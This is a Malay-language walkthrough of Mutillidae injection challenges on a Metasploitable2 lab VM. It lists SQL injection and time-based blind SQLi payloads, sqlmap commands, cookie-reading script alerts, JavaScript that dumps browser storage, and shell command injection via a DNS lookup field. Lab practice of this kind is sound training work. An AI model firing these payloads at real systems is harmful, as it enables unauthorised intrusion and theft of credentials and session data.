multillidae walkthrough Part 3

[1] A1 Injection Part 3	
1	Startkan vm metasploitable2 anda.
2	Startkan kali-wsl dan taipkan command di bawah. (rujuk demo video) `$ kex`
3	Buka multillidae melalui Burp Suite Browser, dan rujuk demo video untuk mencuba challenge yang berkenaan.

4	**A1-Injection -> Blind SQL via Timing -> Login**
	`' OR exists(SELECT 1 FROM users limit 1)#`
	`' OR exists(SELECT 1 FROM accounts limit 1)#`
	`----------`
	`' OR exists(SELECT 1 FROM accounts where username = 'gh1mau' limit 1)#`
	`' OR exists(SELECT 1 FROM accounts where username = 'admin' limit 1)#`
	`----------`
	`' OR exists(SELECT 1 FROM accounts where username = 'admin' and password = 'admin' limit 1)#`
	`' OR exists(SELECT 1 FROM accounts where username = 'admin' and password = 'adminpass' limit 1)#`

5	**A1-Injection -> Blind SQL via Timing -> User Info**
	ssh ke ip metasploitable2
	`mysql -u root -p`
	`mysql> use owasp10;`
	`mysql> SELECT * FROM accounts WHERE username = 'admin123';`
	`mysql> SELECT * FROM accounts WHERE username = 'admin';`
	`----------`
	`mysql> SELECT * FROM accounts WHERE username = 'admin123' AND SLEEP(5);`
	`mysql> SELECT * FROM accounts WHERE username = 'admin' AND SLEEP(5);`
	Startkan Burp Suite Community. (Rujuk demo video)

```
sqlmap -u
"http://ip_metasploitable2/mutillidae/index.php?page=user-
info.php&username=test&password=test&user-info-php-submit-
button=View+Account+Details" --proxy=http://127.0.0.1:8080 --
technique=T --fresh-queries --current-db
```

6 **A1-Injection -> SQLMAP Practice Target -> View Someones Blog**

Startkan Burp Suite Community. (Rujuk demo video)

```
sqlmap -r test1
sqlmap -r test1 --dbs
```

7 **A1-Injection -> SQLMAP Practice Target -> User Info**

Penyelesaian adalah sama seperti dalam langkah 5

8 **A1-Injection -> HTML Injection (HTMLi) -> Add to your blog**

```
Testing123
<h1>Testing123</h1>
------------------------------------------------------------
<script>alert('Cookies which do not have the HTTPOnly
attribute set: ' + document.cookie);</script>

<script>alert(\'Cookies which do not have the HTTPOnly
attribute set: \' + document.cookie);</script>
```

9 **A1-Injection -> HTMLi via HTTP Headers -> Site Footer**

Startkan Burp Suite Community. (Rujuk demo video)

```
Ubah dan manipulate User Agent dalam HTTP Request (boleh
inject HTML atau javascript)
```

10 **A1-Injection -> HTMLi via HTTP Headers -> HTTP Response Splitting**

Penyelesaian adalah sama seperti dalam langkah 9

11 **A1-Injection -> HTMLi via DOM Injection -> HTML5 Storage**

Inspect element (lihat rungan storage) kemudian masukkan code berikut (ruangan console)

```
try{var m = "";var l = window.localStorage; var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};alert(m);}catch(e){alert(e.message);}
-------------------------------------------------------------

try{var m = "";var l = window.localStorage;var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};window.document.write(m);}catch(e){alert(e.message);}
-------------------------------------------------------------

try{var m = "";var l = window.localStorage;var s =
window.sessionStorage;for(i=0;i<l.length;i++){var lKey =
l.key(i);m += lKey + "=" + l.getItem(lKey) +
";\n";};for(i=0;i<s.length;i++){var lKey = s.key(i);m += lKey
+ "=" + s.getItem(lKey) +
";\n";};console.log(m);}catch(e){alert(e.message);}
```

12 **A1-Injection -> HTMLi via Cookie Injection -> Capture Data Page**

1. Akses page berkenaan menggunakan Burp Suite
2. Ubah **Header Cookie** dan inject HTML code atau javascript menggunakan **repeater**
3. Paparkan menggunakan fungsi **Request in browser**

13 **A1-Injection -> Command Injection -> DNS Lookup**

```
www.google.com
www.google.com && ls
www.google.com ; pwd
```

14	**A1-Injection -> JavaScript Injection -> Password Generator** 1. Akses page berkenaan dan analisa javascript yang berkaitan 2. Manipulate parameter berkenaan : a. page=password-generator.php&username=anonymous b. page=password-generator.php&username=<h1>gh1mau</gh1mau>
15	**A1-Injection -> HTTP Parameter Pollution -> Poll Question** Startkan Burp Suite Community. (Rujuk demo video)
16	**A1-Injection -> Cacscading Style Injection -> Set Background Color** Startkan Burp Suite Community. (Rujuk demo video)
17	**A1-Injection -> JSON Injection -> PenTest Tool Lookup** Startkan Burp Suite Community. (Rujuk demo video)